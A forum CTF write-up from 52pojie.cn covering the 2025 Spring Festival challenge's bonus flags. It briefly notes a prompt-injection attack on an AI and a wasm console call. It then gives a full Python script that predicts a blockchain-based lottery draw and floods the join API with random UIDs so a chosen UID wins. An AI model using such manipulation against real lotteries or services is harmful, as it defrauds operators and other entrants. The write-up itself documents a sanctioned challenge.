吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 758|回复: 5
收起左侧

[CTF] 【2025春节】解题领红包之番外篇一二三WriteUp

  [复制链接]
GrumpyJellyfish 发表于 2025-2-13 00:24
本帖最后由 GrumpyJellyfish 于 2025-2-13 08:24 编辑

【春节】解题领红包之 {番外篇} WriteUp

flag9:提示词攻击(如图)


2025flag9提示词攻击.jpg

flag10:wasm函数调用(抽奖页面F12,根据提示注册调用函数即可。具体如图)

2025flag10wasm攻击.jpg

flag11:提前暴露抽奖区块漏洞

原理:根据算法开奖的区块应该是开奖的时候实时获取的最高区块,但是在没开奖前页面就公布了开奖的那个区块,所以存在提前计算的可能。因算法中是使用一个巨大的数(hash)与一个较小的数(usercount)只要控制好uasrcount就可以控制中奖的那个。

关键细节1:校验码有效时限

校验码有效期只有1分钟,过时间就失效。

简单的方法:

在浏览器调用生成开奖前1分钟的verifycode进行批量参加报名。

较复杂方法:

如脚本中引入wasm中的函数自动生成校验码

verify_code = wasm.get_verify_code_py(str(target_timestamp)+"|")

关键细节2:获取hash计算合理区间内中奖的可能性

通过轮询找到合理区间内9800以后号码能中奖的情况

def calculate_possible_winning_indices(block_hash, min_user_count=9980, max_user_count=10250):
"""计算所有可能的中奖情况,返回可能中奖的情况"""
possible_winnings = []
for user_count in range(min_user_count, max_user_count + 1):
hash_int = int(block_hash, 16)
user_index = hash_int % user_count
if user_index >= min_user_count:
possible_winnings.append((user_count, user_index))
return possible_winnings

关键细节3:批量上报uid

一开始因为有多人在一起干扰,走了较多弯路...

核心思路是报名成功会返回当前userindex(其实就是usercount+1),一定得用这个轮询,不可用固定数量的循环函数!
还留了几个等最后10秒才动手,就这样还是等到降低难度分ip了之后才成功qaq

利用代码如下:

import sys
import requests
import time
from datetime import datetime, timedelta
import random
import wasm

def check_block_exist(block_height):
    """检查指定区块是否存在"""
    api_url = "https://api.upowerchain.com/apis/v1alpha1/block/get"
    payload = {"number": block_height}
    headers = {'Content-type': 'application/json'}
    response = requests.post(api_url, json=payload, headers=headers)

    if response.status_code == 200:
        data = response.json().get('data', {})
        if data and 'blockHash' in data:  # 假设存在blockHash意味着区块已生成
            return data.get('blockHash')
        else:
            print(f"区块高度 {block_height} 尚未生成,等待5秒后重试...")
            time.sleep(5)
            return None
    else:
        print(f"获取区块时发生错误,状态码: {response.status_code}, 等待5秒后重试...")
        time.sleep(5)
        return None

def get_block_hash(block_height):
    """获取指定区块高度的区块哈希值"""
    while True:
        block_hash = check_block_exist(block_height)
        if block_hash:
            return block_hash

def calculate_possible_winning_indices(block_hash, min_user_count=9980, max_user_count=10250):
    """计算所有可能的中奖情况,返回可能中奖的情况"""
    possible_winnings = []
    for user_count in range(min_user_count, max_user_count + 1):
        hash_int = int(block_hash, 16)
        user_index = hash_int % user_count
        if user_index >= min_user_count:
            possible_winnings.append((user_count, user_index))
    return possible_winnings

def generate_unique_uid(existing_uids):
    """在1-2500000范围内随机生成一个唯一的UID"""
    while True:
        new_uid = random.randint(1, 2500000)
        if new_uid not in existing_uids:
            return new_uid

def is_verify_code_valid(timestamp):
    """检查verify_code是否有效(有效期1分钟)"""
    current_time = int(time.time())
    return abs(current_time - timestamp) <= 60

def join_lottery(timestamp, uid, verify_code):
    """加入抽奖,并打印使用的UID和返回的user_index"""
    if not is_verify_code_valid(timestamp):
        print("Error: verify_code已过期,请重新获取并输入新的verify_code")
        sys.exit(0)
        return None
    url = 'https://2025challenge.52pojie.cn/api/lottery/join'
    headers = {
        'Accept': '*/*',
        'Accept-Language': 'zh-CN,zh-HK;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6',
        'Connection': 'keep-alive',
        'Content-Type': 'application/json'
    }
    payload = {
        "timestamp": timestamp,
        "uid": uid,
        "verify_code": verify_code
    }
    response = requests.post(url, json=payload, headers=headers)
    result = response.json()
    user_index = result['data']['user_index']
    print(f"使用UID: {uid}, 返回的user_index: {user_index}")
    return user_index

def gethight():
     """通过history接口获取抽奖区块"""
    url = 'https://2025challenge.52pojie.cn/api/lottery/history'
    headers = {
        'Accept': '*/*',
        'Accept-Language': 'zh-CN,zh-HK;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6',
        'Connection': 'keep-alive'
    }
    # 解析JSON响应
    response = requests.get(url, headers=headers)
    data = response.json()
    return data['data']['history'][0]['block_number']

if __name__ == "__main__":
    existing_uids = set()  # 用于存储已使用的UID
    target_uid = 2121487  # 特定的目标UID

    # 人工输入获取抽奖区块高度
    #block_height = input("请输入区块高度: ")
    #block_height = str(sys.argv)
     # 自动获取抽奖区块高度
    block_height = gethight()
    print(f"区块高度: {block_height}")

    # 提前计算开奖前1分钟的timestamp并获取对应的verify_code
    # target_time = datetime.now() + timedelta(minutes=1) - timedelta(seconds=30)  # 开奖前1分钟
    # target_timestamp = int(target_time.timestamp())
    timestamp = int(time.time())
    next_5min = timestamp - timestamp % 300 + 300  #下一个5分钟整的时间戳
    target_timestamp = next_5min -60 
    #verify_code = input(f"请输入与时间戳 {target_timestamp} 对应的verify_code: ")
    verify_code = wasm.get_verify_code_py(str(target_timestamp)+"|")
    print(f"时间戳 {target_timestamp} 对应的verify_code: {verify_code}")

    # 获取区块哈希
    block_hash = get_block_hash(block_height)
    print(f"区块哈希: {block_hash}")

    # 计算所有可能的中奖情况
    possible_winnings = calculate_possible_winning_indices(block_hash)
    if not possible_winnings:
        print("没有找到符合条件的中奖可能性。")
        exit()

    # 打印所有可能的中奖情况
    for user_count, user_index in possible_winnings:
        print(f"userCount={user_count}时,中奖的游戏编号: {user_index}")

    # 初始化current_user_index
    current_user_index = None
    gold=0
    goldcount=0
    isin=False

    while True:
        if int(time.time())>=(next_5min-60):
            current_time = int(time.time())
            if not is_verify_code_valid(target_timestamp):
                print("Error: verify_code已过期,请重新获取并输入新的verify_code")
                sys.exit(0)
                # target_timestamp = int(time.time())
                # verify_code = input(f"请输入与时间戳 {target_timestamp} 对应的verify_code: ")

            # 通过随机生成UID获取当前的userCount
            new_uid = generate_unique_uid(existing_uids)
            existing_uids.add(new_uid)
            current_user_index = join_lottery(target_timestamp, str(new_uid), verify_code)

            if current_user_index is None:
                continue
            if gold==0:
                for user_count, user_index in possible_winnings:
                    if user_count>current_user_index and current_user_index<user_index and goldcount == 0 :
                        print(f"选中结果userCount={user_count},且我参加中奖的游戏编号: {user_index}")
                        gold=user_index
                        goldcount=user_count
                if gold==0:
                    print("damm!!!!没有中奖的可能了!")
                    sys.exit(0)
            else :
                if not isin :    
                    #实时判断是否达到目标中奖条件
                    if current_user_index==gold-1 and not isin :
                        print(f"发现有可能中奖的机会,尝试使用UID {target_uid} 参加抽奖...")
                        current_user_index=join_lottery(target_timestamp, str(target_uid), verify_code)
                        if current_user_index==gold:
                            print("成功参选目标编号!!!")
                            isin=True

                        else:
                            print("damm!!!!被人抢了位置!参选目标编号失败")
                            gold=0
                            goldcount = 0
                            print("从新找目标1")
                            for user_count, user_index in possible_winnings:
                                if user_count>current_user_index and current_user_index<user_index and goldcount == 0 :
                                    print(f"选中结果userCount={user_count},且我参加中奖的游戏编号: {user_index}")
                                    gold=user_index
                                    goldcount=user_count
                            if gold==0:
                                print("damm!!!!没有中奖的可能了!")
                                sys.exit(0)
                    else :
                        if current_user_index>gold and not isin :
                            print("damm!!!!被人抢了位置!参选目标编号失败")
                            gold=0
                            goldcount = 0
                            print("从新找目标2")
                            for user_count, user_index in possible_winnings:
                                if user_count>current_user_index and current_user_index<user_index and goldcount == 0 :
                                    print(f"选中结果userCount={user_count},且我参加中奖的游戏编号: {user_index}")
                                    gold=user_index
                                    goldcount=user_count
                            if gold==0:
                                print("damm!!!!没有中奖的可能了!")
                                sys.exit(0)
                if current_user_index>=goldcount-10 and isin and int(time.time()) <= (next_5min-10):
                    print(f"当前usercount为{current_user_index},目标是{goldcount}留了10个等最后10秒跑")
                    while int(time.time()) <= (next_5min - 10):
                        time.sleep(1)
                if current_user_index==goldcount-1:
                    print(f"达到抽奖条件,敬候佳音。当前usercount为{current_user_index}")
                    sys.exit(0)
                else:
                    if current_user_index>goldcount:
                        print(f"damm!!!!被人加塞了!当前usercount为{current_user_index}")
                        sys.exit(0)

            # 如果距离开奖时间小于10秒,则停止尝试增加userCount,等待开奖
            # if (target_time - datetime.fromtimestamp(current_time)) < timedelta(seconds=10):
            #     print("接近开奖时间,停止增加userCount...")
            #     break
            if int(time.time()) > next_5min:
                print("已开奖,没机会了!")
            time.sleep(0.1)  # 防止请求过快被封禁
        else:
            print(f"\r时间没到,先等等,还差{target_timestamp-int(time.time())}秒。", end='')
            time.sleep(5)

    print("脚本执行结束。")

flag11.png


最后祝大家新年快乐2025红红火火 技术更上一层楼!

免费评分

参与人数 2威望 +2 吾爱币 +101 热心值 +1 收起 理由
jackyyue_cn + 1 用心讨论,共获提升!
Hmily + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

gts5122 发表于 2025-2-13 09:49
菜鸟围观。
lsb2pojie 发表于 2025-2-13 10:55
screenshot-20250213-105248.png
嘿嘿,第一次点开没审核过进这里面了,玩了一下
LONG65041 发表于 2025-2-13 11:25
 楼主| GrumpyJellyfish 发表于 2025-2-13 12:54
lsb2pojie 发表于 2025-2-13 10:55
嘿嘿,第一次点开没审核过进这里面了,玩了一下

哈哈去年我是直接玩游戏拿到的flag
LingMj 发表于 2025-2-13 14:16
感谢大佬分析
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-20 01:32

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表